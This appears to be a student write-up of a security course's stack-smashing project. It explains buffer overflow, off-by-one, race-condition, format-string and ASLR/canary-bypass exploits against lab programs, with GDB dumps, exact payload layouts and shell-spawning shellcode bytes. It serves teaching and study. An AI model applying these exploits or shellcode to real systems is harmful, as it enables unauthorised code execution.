16 min read
Stack Smashing

Project Specs

Question 1: Remus

No writeup required for this question only.

Question 2: Spica

Main Idea

The code is vulnerable because a signed int8_t size is used and passed to fread() when it expects a size_t __size unsigned argument. This signed/unsigned vulnerability enables the attacker to bypass the size check on line 19. We pass the SHELLCODE in the message and overwrite the RIP of display() with the address of the SHELLCODE.

Magic Numbers

We first determined the address of msg (0xffffd998) and RIP of display() (0xffffda2c), done by using GDB with breakpoint on line 18.

RIP is 148 bytes away from msg (0xffffda2c - 0xffffd998).

(gdb) i f
Stack level 0, frame at 0xffffda30:
 eip = 0x8049235 in display (telemetry.c:18); saved eip = 0x80492bd
 called by frame at 0xffffda60
 source language c.
 Arglist at 0xffffda28, args: path=0xffffdbeb "navigation"
 Locals at 0xffffda28, Previous frame's sp is 0xffffda30
 Saved registers:
  ebp at 0xffffda28, eip at 0xffffda2c
(gdb) info locals
msg = '\000' <repeats 127 times>
size = 0 '\000'
file = 0x804e000
bytes_read = 0
(gdb) p & msg
$2 = (char (*)[128]) 0xffffd998
(gdb) p & size
$3 = (int8_t *) 0xffffd997 ""
(gdb) p &file
$4 = (FILE **) 0xffffda1c
(gdb) p &bytes_read
$6 = (size_t *) 0xffffda18
(gdb) x/38wx msg
0xffffd998:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9a8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9b8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9c8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9d8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9e8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd9f8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffda08:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffda18:	0x00000000	0x0804e000	0x00000000	0xffffdfe2
0xffffda28:	0xffffda48	0x080492bd

Exploit Structure

Stack Diagram:

-----------------------------
0xffffda30		calibrate()
-----------------------------
0xffffda2c	4	RIP
0xffffda28	4	SFP
?			?	PADDING?
0xffffda1c	4	FILE* file
0xffffda18	4	size_t bytes_read
0xffffd998	128	char msg[128]			(~0xffffda14)
0xffffd997	1	int8_t size
  1. Since the SHELLCODE fits in the message, we insert it at the front of the message (after bytes_read).
  2. We then pad with (148 - SHELLCODE size) dummy characters to reach RIP
  3. Then overwrite RIP with the SHELLCODE address (&msg: 0xffffd998)
  4. Finally at the front of the message, we put the desired number of bytes to overwrite: (148 + 4) = 152. Because 152 is /x98 in hex, it is a negative number when treated as a signed number and the size check on line 19 will pass.

Exploit GDB Output

(gdb)  x/38wx msg
0xffffd998:	0xcd58326a	0x89c38980	0x58476ac1	0xc03180cd
0xffffd9a8:	0x692d6850	0xe2896969	0x6d2b6850	0xe1896d6d
0xffffd9b8:	0x2f2f6850	0x2f686873	0x896e6962	0x515250e3
0xffffd9c8:	0x31e18953	0xcd0bb0d2	0x38383880	0x38383838
0xffffd9d8:	0x38383838	0x38383838	0x38383838	0x38383838
0xffffd9e8:	0x38383838	0x38383838	0x38383838	0x38383838
0xffffd9f8:	0x38383838	0x38383838	0x38383838	0x38383838
0xffffda08:	0x38383838	0x38383838	0x38383838	0x38383838
0xffffda18:	0x00000099	0x38383838	0x38383838	0x38383838
0xffffda28:	0x38383838	0xffffd998

After 57 bytes of the SHELLCODE and 91 bytes of garbage, the EIP is overwritten by 0xffffd998 which points back to the SHELLCODE.

Question 3: Polaris

Main Idea

The code is vulnerable because the while loop in dehexify() does not do any bounds checking and operates on subsequent memory once it sees a certain pattern ‘\x’. This enables attackers to end the input with that pattern and gain access beyond c.buffer, leaking the canary. We obtain the canary and send a second input to write the correct canary value followed by overwriting RIP and inserting the SHELLCODE right after.

Magic Numbers

We first determine the address of c.buffer (0xffffda2c) and the RIP of dehexify() (0xffffda4c) using GDB with breakpoint at line 22.

(gdb) b 22
Breakpoint 1 at 0x804922e: file dehexify.c, line 22.
(gdb) r
Starting program: /home/polaris/dehexify < /tmp/tmp.fJdhcD > /tmp/tmp.bgakgB

Breakpoint 1, dehexify () at dehexify.c:22
22	    gets(c.buffer);
(gdb) i f
Stack level 0, frame at 0xffffda50:
 eip = 0x804922e in dehexify (dehexify.c:22); saved eip = 0x8049341
 called by frame at 0xffffda70
 source language c.
 Arglist at 0xffffda48, args:
 Locals at 0xffffda48, Previous frame's sp is 0xffffda50
 Saved registers:
  ebp at 0xffffda48, eip at 0xffffda4c
(gdb) p &c.buffer
$2 = (char (*)[16]) 0xffffda2c

Then we use the same breakpoint but compare the program across different run instances to find the address of the canary (0xffffda3c)

(gdb) x/9wx c.buffer
0xffffda2c:	0x00000000	0x00000000	0xffffdfe1	0x0804cfe8
0xffffda3c:	0x4ab0c01a	0x0804d020	0x00000000	0xffffda58
0xffffda4c:	0x08049341
(gdb) x/9wx c.buffer
0xffffda2c:	0x00000000	0x00000000	0xffffdfe1	0x0804cfe8
0xffffda3c:	0x14563383	0x0804d020	0x00000000	0xffffda58
0xffffda4c:	0x08049341

It’s the only address with value changing across runs under same conditions.

Exploit Structure

  1. First we send a string with 12 junk characters and "\\x" at the end to trick the program to print out the canary
  2. Then we forge a payload to overwrite the canary and RIP: first with 15 junk characters and '\x00' to fill c.buffer (null-terminating to avoid the while loop overwriting our changes)
  3. Followed by the canary value that we got from the last output
  4. Followed by 12 junk characters to reach RIP (0xffffda4c), then overwrite RIP with the address of SHELLCODE (0xffffda50 immediately after RIP)

Exploit GDB Output

Breakpoint 1, dehexify () at dehexify.c:22
22	    gets(c.buffer);
(gdb) x/30wx c.buffer
0xffffda2c:	0x04d020d2	0x48480008	0x48484848	0x0804cfe8
0xffffda3c:	0xd2eb804e	0x0804d020	0x00000000	0xffffda58
0xffffda4c:	0x08049341	0x00000000	0xffffda70	0xffffdaec
0xffffda5c:	0x0804952a	0x00000001	0x08049329	0x0804cfe8
0xffffda6c:	0x0804952a	0x00000001	0xffffdae4	0xffffdaec
0xffffda7c:	0x0804b000	0x00000000	0x00000000	0x08049508
0xffffda8c:	0x0804cfe8	0x00000000	0x00000000	0x00000000
0xffffda9c:	0x08049097	0x08049329
(gdb) n
24	    while (c.buffer[i]) {
(gdb) x/30wx c.buffer
0xffffda2c:	0x48484848	0x48484848	0x48484848	0x00484848
0xffffda3c:	0xd2eb804e	0x48484848	0x48484848	0x48484848
0xffffda4c:	0xffffda50	0xdb31c031	0xd231c931	0xb05b32eb
0xffffda5c:	0xcdc93105	0xebc68980	0x3101b006	0x8980cddb
0xffffda6c:	0x8303b0f3	0x0c8d01ec	0xcd01b224	0x39db3180
0xffffda7c:	0xb0e674c3	0xb202b304	0x8380cd01	0xdfeb01c4
0xffffda8c:	0xffffc9e8	0x414552ff	0x00454d44	0x00000000
0xffffda9c:	0x08049097	0x08049329

Question 4: Vega

Main Idea

The code is vulnerable because of an off-by-one error at line 8. buf is only 64 bytes, meaning index 0 ~ 63, but the condition in the for loop goes up to 64. This allows up to overwrite 1 byte above buf, which happens to be the SFP of invoke().

We overwrite the SFP to point to buf instead, and insert the address of the SHELLCODE at 4 bytes above.

When invoke() returns, ESP of the caller (dispatch()) is now the forged SFP. Finally when dispatch() returns, it treats the SHELLCODE address that we inserted as the new EIP.

Magic Numbers

We determine the address of the SHELLCODE (0xffffdf98) using GDB with breakpoint on line 32.

(SHELLCODE is inserted from egg as an environment variable)

(gdb) b 32
Breakpoint 1 at 0x8049290: file flipper.c, line 32.
(gdb) r
Starting program: /home/vega/flipper $'bbbb\274\377\337\337bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\260'

Breakpoint 1, main (argc=2, argv=0xffffda64) at flipper.c:32
32	    dispatch(argv[1]);
(gdb) p environ[4]
$1 = 0xffffdf98 "EGG=j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061Ұ\v̀"

Then determine the adresses of buf (0xffffd990) and SFP (0xffffd9d0) of invoke().

(gdb) b 19
Breakpoint 1 at 0x8049251: file flipper.c, line 19.
(gdb) r
Starting program: /home/vega/flipper $'bbbb\274\377\337\337bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\260'

Breakpoint 1, invoke (in=0xffffdb7f "bbbb\274\377\337\337", 'b' <repeats 56 times>, "\260") at flipper.c:19
19	    flip(buf, in);
(gdb) i f
Stack level 0, frame at 0xffffd9d8:
 eip = 0x8049251 in invoke (flipper.c:19); saved eip = 0x804927a
 called by frame at 0xffffd9e4
 source language c.
 Arglist at 0xffffd9d0, args: in=0xffffdb7f "bbbb\274\377\337\337", 'b' <repeats 56 times>, "\260"
 Locals at 0xffffd9d0, Previous frame's sp is 0xffffd9d8
 Saved registers:
  ebp at 0xffffd9d0, eip at 0xffffd9d4
(gdb) p &buf
$1 = (char (*)[64]) 0xffffd990
(gdb) x/68bx buf
0xffffd990:	0x00	0x00	0x00	0x00	0x01	0x00	0x00	0x00
0xffffd998:	0x00	0x00	0x00	0x00	0x4b	0xdb	0xff	0xff
0xffffd9a0:	0x02	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd9a8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd9b0:	0x00	0x00	0x00	0x00	0xe5	0xdf	0xff	0xff
0xffffd9b8:	0x40	0xc5	0xff	0xf7	0x00	0xc0	0xff	0xf7
0xffffd9c0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd9c8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd9d0:	0xdc	0xd9	0xff	0xff

Exploit Structure

  1. We first put 4 dummy bytes to serve as the fake SFP.
  2. Then we insert the SHELLCODE address 0xffffdf9c (0xffffdf98 + 4 to skip “EGG=”)
  3. Insert (65 - 4 - 4 - 1 =) 56 dummy characters to reach the lsb of SFP of invoke()
  4. Overwrite the lsb of SFP with lsb of our forged SFP: 0x90.
  5. Because everything we insert from arg gets XORd with 0x20 when copying to buf, we XOR our final payload with 0x20 in advance so it gets decoded.

Exploit GDB Output

(gdb) x/68bx buf
0xffffd990:	0x42	0x42	0x42	0x42	0x9c	0xdf	0xff	0xff
0xffffd998:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9a0:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9a8:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9b0:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9b8:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9c0:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9c8:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xffffd9d0:	0x90	0xd9	0xff	0xff

Question 5: Deneb

Main Idea

The code is vulnerable because of a TOCTTOU race condition. orbit.c prints a message asking for user input AFTER the file size checking, which allows us to know precisely when we can modify the file beyond the allowed size. We put the malicious SHELLCODE with forged EIP in the file for the program to read and overwrite RIP.

Magic Numbers

We determine the address of buf (0xffffd9d8) and readfile()’s RIP (0xffffda6c ) by GDB with breakpoint at line 46.

(gdb) b 46
Breakpoint 1 at 0x8049311: file orbit.c, line 47.
(gdb) r
Starting program: /home/deneb/orbit < /tmp/tmp.JmMnlE > /tmp/tmp.Elhidg

Breakpoint 1, read_file () at orbit.c:47
47	    bytes_read = read(fd, buf, bytes_to_read);
(gdb) i f
Stack level 0, frame at 0xffffda70:
 eip = 0x8049311 in read_file (orbit.c:47); saved eip = 0x804939c
 called by frame at 0xffffda80
 source language c.
 Arglist at 0xffffda68, args:
 Locals at 0xffffda68, Previous frame's sp is 0xffffda70
 Saved registers:
  ebp at 0xffffda68, eip at 0xffffda6c
(gdb) p &buf
$1 = (char (*)[128]) 0xffffd9d8
(gdb) p &bytes_to_read
$2 = (uint32_t *) 0xffffd9d4
(gdb) x/57wx 0xffffd9d4
0xffffd9d4:	0x000000e0	0x00000020	0x00000008	0x00001000
0xffffd9e4:	0x00000000	0x00000000	0x0804904a	0x00000000
0xffffd9f4:	0x000003ed	0x000003ed	0x000003ed	0x000003ed
0xffffda04:	0xffffdbdb	0x0fcbfbfd	0x00000064	0x00000000
0xffffda14:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffda24:	0x00000001	0x00000000	0xffffdbcb	0x00000002
0xffffda34:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffda44:	0xffffdfe6	0xf7ffc540	0xf7ffc000	0x00000000
0xffffda54:	0x00000000	0x00000000	0x00000003	0x00000000
0xffffda64:	0x00000000	0xffffda78	0x0804939c	0x00000001
0xffffda74:	0x08049391	0xffffdafc	0x0804956a	0x00000001
0xffffda84:	0xffffdaf4	0xffffdafc	0x080510a1	0x00000000
0xffffda94:	0x00000000	0x08049548	0x08053fe8	0x00000000
0xffffdaa4:	0x00000000	0x00000000	0x08049097	0x08049391
0xffffdab4:	0x00000001

Exploit Structure

-----------------------------
0xffffda70  read_file()
-----------------------------
0xffffda6c  4	  RIP
0xffffda68  4		SFP
...
0xffffd9d8  128 char* buf[128]
0xffffd9d4  4		uint32_t bytes_to_read
  1. We forge the payload: starting with (0xffffda6c - 0xffffd9d8 =) 148 bytes of garbage to reach the RIP of read_file()
  2. Followed by the forged EIP (0xffffda70) pointing to the SHELLCODE (immediately after RIP)
  3. Followed by the SHELLCODE
  4. Write the above payload to the file RIGHT AFTER the program prompts for number of bytes to read
  5. Respond to stdin with the size of the payload

Exploit GDB Output

(gdb) x/57wx 0xffffd9d4
0xffffd9d4:	0x000000e0	0x42424242	0x42424242	0x42424242
0xffffd9e4:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffd9f4:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda04:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda14:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda24:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda34:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda44:	0x42424242	0x42424242	0x42424242	0x42424242
0xffffda54:	0x42424242	0x000000e0	0x42424242	0x42424242
0xffffda64:	0x42424242	0x42424242	0xffffda70	0xdb31c031
0xffffda74:	0xd231c931	0xb05b32eb	0xcdc93105	0xebc68980
0xffffda84:	0x3101b006	0x8980cddb	0x8303b0f3	0x0c8d01ec
0xffffda94:	0xcd01b224	0x39db3180	0xb0e674c3	0xb202b304
0xffffdaa4:	0x8380cd01	0xdfeb01c4	0xffffc9e8	0x414552ff
0xffffdab4:	0x00454d44

Question 6: Antares

Main Idea

The code is vulnerable because of a format string vulnerability with printf(). It prints out the user input without sanitization, allowing attackers to input format modifiers in a certain way to gain arbitrary memory reading and limited memory overwriting. We input a specially crafted payload to climb the stack to reach buf where we have write access and overwrite the RIP of main().

Magic Numbers

We determine the address of SHELLCODE (0xffffdbb8), buf (0xffffd990), and printf()’s RIP (0xffffd94c) using GDB with breakpoints:

Reading symbols from /home/antares/calibrate...
(gdb) b 18
Breakpoint 1 at 0x8049280: file calibrate.c, line 18.
(gdb) r
Starting program: /home/antares/calibrate $'j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\3411Ұ\v̀' < /tmp/tmp.LJANIM

Breakpoint 1, main (argc=2, argv=0xffffdaa4) at calibrate.c:18
18	    calibrate(buf);
(gdb) i f
Stack level 0, frame at 0xffffda30:
 eip = 0x8049280 in main (calibrate.c:18); saved eip = 0x8049466
 source language c.
 Arglist at 0xffffda18, args: argc=2, argv=0xffffdaa4
 Locals at 0xffffda18, Previous frame's sp is 0xffffda30
 Saved registers:
  ebp at 0xffffda18, eip at 0xffffda2c
(gdb) p &argc
$4 = (int *) 0xffffda30
(gdb) p argv
$1 = (char **) 0xffffdaa4
(gdb) p argv[0]
$2 = 0xffffdba0 "/home/antares/calibrate"
(gdb) p argv[1]
$3 = 0xffffdbb8 "j2X̀\211É\301jGX̀1\300Ph-iii\211\342Ph+mmm\211\341Ph//shh/bin\211\343PRQS\211\341\061Ұ\v̀"
(gdb) x/57b argv[1]
0xffffdbb8:	0x6a	0x32	0x58	0xcd	0x80	0x89	0xc3	0x89
0xffffdbc0:	0xc1	0x6a	0x47	0x58	0xcd	0x80	0x31	0xc0
0xffffdbc8:	0x50	0x68	0x2d	0x69	0x69	0x69	0x89	0xe2
0xffffdbd0:	0x50	0x68	0x2b	0x6d	0x6d	0x6d	0x89	0xe1
0xffffdbd8:	0x50	0x68	0x2f	0x2f	0x73	0x68	0x68	0x2f
0xffffdbe0:	0x62	0x69	0x6e	0x89	0xe3	0x50	0x52	0x51
0xffffdbe8:	0x53	0x89	0xe1	0x31	0xd2	0xb0	0x0b	0xcd
0xffffdbf0:	0x80
(gdb) b 10
(gdb) c
(gdb) i f
Stack level 0, frame at 0xffffd980:
 eip = 0x8049224 in calibrate (calibrate.c:10); saved eip = 0x804928f
 called by frame at 0xffffda30
 source language c.
 Arglist at 0xffffd978, args: buf=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
 Locals at 0xffffd978, Previous frame's sp is 0xffffd980
 Saved registers:
  ebp at 0xffffd978, eip at 0xffffd97c
(gdb) s
printf (fmt=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n") at src/stdio/printf.c:8
8	src/stdio/printf.c: No such file or directory.
(gdb) i f
Stack level 0, frame at 0xffffd950:
 eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
 called by frame at 0xffffd980
 source language c.
 Arglist at 0xffffd948, args: fmt=0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
 Locals at 0xffffd948, Previous frame's sp is 0xffffd950
 Saved registers:
  eip at 0xffffd94c
(gdb) p fmt
$3 = 0xffffd990 "AAAA,\332\377\377AAAA.\332\377\377%c%c%c%c%c%c%c%c%c%c%c%c%56220u%hn%9287u%hn\n"
(gdb) p &fmt
$4 = (const char * restrict *) 0xffffd950

Exploit Structure

0xffffdbb8	57	argv[1]						SHELLCODE
...
0xffffda30	4	argc
-----------------------------
0xffffda30		main()
-----------------------------
0xffffda2c	4	RIP
0xffffda28	4	SFP
0xffffda10	?	PADDING?
0xffffd990	128	char* buf					(~0xffffda0f)
...
0xffffd980	4	&buf					-> 0xffffd990
-----------------------------
0xffffd980		calibrate()
-----------------------------
0xffffd97c	4	RIP
0xffffd978	4	SFP

0xffffd96c	4	FILE *f

			?	PADDING

0xffffd950	4	&buf:fmt				-> 0xffffd990
-----------------------------
0xffffd950		printf()
-----------------------------
0xffffd94c	4	RIP
			4	SFP
  1. Forge the payload: we first insert 4 junk bytes to be consumed by %_u later
  2. Insert the address of RIP of calibrate() (0xffffd97c) which we want to overwrite (to be consumed by %hn)
  3. Insert 4 junk bytes to be consumed by %_u later
  4. Insert the address of the upper two bytes of the RIP: 0xffffd97e (to be consumed by %hn)
  5. Insert (0xffffd990 - 0xffffd954) / 4 junk characters for %c to climb the stack from 8 bytes above printf()’s RIP up to buf
  6. Now insert %_u with _ being the difference between lower half of SHELLCODE address and the current number of printed bytes: SECOND_HALF - (16 + number of junk characters from last step)
  7. Insert %hn to write the lower half of SHELLCODE address (0xffffdbb8) to lower half of RIP of calibrate()
  8. Repeat step 6 now with the upper half of SHELLCODE address
  9. Repeat step 7 to write upper half of SHELLCODE address to upper half of RIP of calibrate()

Exploit GDB Output

(gdb) x 0xffffd97c
0xffffd97c:	0xffffdbb8

RIP of calibrate() has been overwritten to point to the SHELLCODE

Question 7: Rigel

Main Idea

The code is vulnerable for a couple of reasons: the gets() call lets us write to memory arbitrarily, check_canary() directly prints the canary value, and check_aslr() prints the address of printf(), allowing us to locate some adresses despite ASLR. We insert shellcode to buf, maintain the canary, and overwrite the RIP of secure_gets() with address of a ret instruction and lsb of *err_ptr, enabling the ret2ret exploit and let us run the SHELLCODE.

Magic Numbers

We determine the address of buf, canary, RIP of secure_gets(), and the *err_ptr argument. The addresses change on each run, so we only use this information to find out their relative positions and build the stack diagram.

(gdb) b 106
Breakpoint 1 at 0x15ea: file lockdown.c, line 106.
(gdb) r
Starting program: /home/rigel/lockdown < /tmp/tmp.HaDdnh > /tmp/tmp.caHAlI
[Detaching after fork from child process 30675]
[Detaching after fork from child process 30676]
Non-executable pages check failed!
Canary passed: canary val = 0x0afa8584
ASLR passed  : printf located at 0xf7f4b0ea
One or more mitigation(s) has failed! Proceed with caution...


Breakpoint 1, secure_gets (err_ptr=0xff8b05c4) at lockdown.c:106
106	    gets(buf);
(gdb) x buf
0xff8b048c:	0xf7efe000
(gdb) x/8wx buf + 256
0xff8b058c:	0x0afa8584	0xf7f980e4	0x5657bfa4	0xff8b05d8
0xff8b059c:	0x56579689	0xff8b05c4	0xffffffff	0xf7f5a4a7
(gdb) i f
Stack level 0, frame at 0xff8b05a0:
 eip = 0x565795ea in secure_gets (lockdown.c:106); saved eip = 0x56579689
 called by frame at 0xff8b05f0
 source language c.
 Arglist at 0xff8b0598, args: err_ptr=0xff8b05c4
 Locals at 0xff8b0598, Previous frame's sp is 0xff8b05a0
 Saved registers:
  ebx at 0xff8b0594, ebp at 0xff8b0598, eip at 0xff8b059c
(gdb) x err_ptr
0xff8b05c4:	0x00000001
(gdb) x/4wx 0xff8b0598
0xff8b0598:	0xff8b05d8	0x56579689	0xff8b05c4	0xffffffff
(gdb) x/4wx 0xff8b0598 + 8
0xff8b05a0:	0xff8b05c4	0xffffffff	0xf7f5a4a7	0x56579663
(gdb) x buf + 116
0xff8b0500:	0x00000000

We find that the canary is right above buf, err_ptr is right above RIP, and that offsetting buf by 116 bytes seem to match the upper 3 bytes of the address to the upper 3 bytes of address pointed to by err_ptr.

Then we look at the asm code of printf() to find a ret call that will let us pop the stack upwards and enable err_ptr to be treated as the new EIP. We can see it’s offset 41 bytes from printf().

Dump of assembler code for function printf:
   0xf7ee40ea <+0>:	push   %ebx
   0xf7ee40eb <+1>:	call   0xf7eac774
   0xf7ee40f0 <+6>:	add    $0x4ae98,%ebx
   0xf7ee40f6 <+12>:	sub    $0x8,%esp
   0xf7ee40f9 <+15>:	lea    0x14(%esp),%eax
   0xf7ee40fd <+19>:	push   %edx
   0xf7ee40fe <+20>:	push   %eax
   0xf7ee40ff <+21>:	push   0x18(%esp)
   0xf7ee4103 <+25>:	lea    0x238(%ebx),%eax
   0xf7ee4109 <+31>:	push   %eax
   0xf7ee410a <+32>:	call   0xf7ee636a <vfprintf>
   0xf7ee410f <+37>:	add    $0x18,%esp
   0xf7ee4112 <+40>:	pop    %ebx
   0xf7ee4113 <+41>:	ret
End of assembler dump.

Exploit Structure

-----------------------------
?			main()
-----------------------------
...
?	4	int *err_ptr
-----------------------------
?			secure_gets()
-----------------------------
?	4	RIP
?	4	SFP
?	4	EBX
?	4	PADDING
?	4	CANARY
?	256	char buf[]
?	4	int ret
...
  1. First receive the output of the mitigation checks and extract the canary and address of printf()
  2. Forge the payload: first write 256 - len(SHELLCODE) NOP characters to bump up our SHELLCODE address
  3. Followed by the SHELLCODE
  4. Overwrite the canary with the correct value
  5. Insert 12 NOP characters to reach RIP of secure_gets()
  6. Insert the address of the ret instruction that we found (address of printf() + 41)
  7. The program will automatically append the null-terminator, overwriting the lsb of err_ptr. If we’re super lucky, the overwritten address will point to our SHELLCODE; if not, all the NOPs should slide it up the stack anyways.

Exploit GDB Output

Breakpoint 1, secure_gets (err_ptr=0xffc46b94) at lockdown.c:106
106	    gets(buf);
(gdb) x/70wx buf
0xffc46a5c:	0xf7e97000	0x8683fbf8	0xf7eef706	0x00000000
0xffc46a6c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46a7c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46a8c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46a9c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46aac:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46abc:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46acc:	0x00000000	0x00000000	0x00000000	0x00000000
0xffc46adc:	0x00000000	0x00000000	0x00000000	0x10000000
0xffc46aec:	0x00000000	0xf7f310ac	0xf7f30c84	0xf7eef797
0xffc46afc:	0x56558fa4	0xffc46c34	0x00000001	0x56558fa4
0xffc46b0c:	0xf7ef3c96	0x00000000	0xffc46b2c	0x00003fa4
0xffc46b1c:	0x00000000	0x00000358	0x00000218	0x00000000
0xffc46b2c:	0x000003ef	0xffffffff	0x00000000	0x000000cc
0xffc46b3c:	0x00000000	0x00001711	0x00000000	0xf7ef3c4b
0xffc46b4c:	0xf7ef3b59	0x000000cc	0x000003ef	0xffffffff
0xffc46b5c:	0x686d9115	0xf7f310e4	0x56558fa4	0xffc46ba8
0xffc46b6c:	0x56556689	0xffc46b94
(gdb) n
107	    printf("%s\n", buf);
(gdb) x/70wx buf
0xffc46a5c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46a6c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46a7c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46a8c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46a9c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46aac:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46abc:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46acc:	0x42424242	0xdb31c031	0xd231c931	0xb05b32eb
0xffc46adc:	0xcdc93105	0xebc68980	0x3101b006	0x8980cddb
0xffc46aec:	0x8303b0f3	0x0c8d01ec	0xcd01b224	0x39db3180
0xffc46afc:	0xb0e674c3	0xb202b304	0x8380cd01	0xdfeb01c4
0xffc46b0c:	0xffffc9e8	0x414552ff	0x00454d44	0x42424242
0xffc46b1c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46b2c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46b3c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46b4c:	0x42424242	0x42424242	0x42424242	0x42424242
0xffc46b5c:	0x686d9115	0x42424242	0x42424242	0x42424242
0xffc46b6c:	0xf7ee4113	0xffc46b00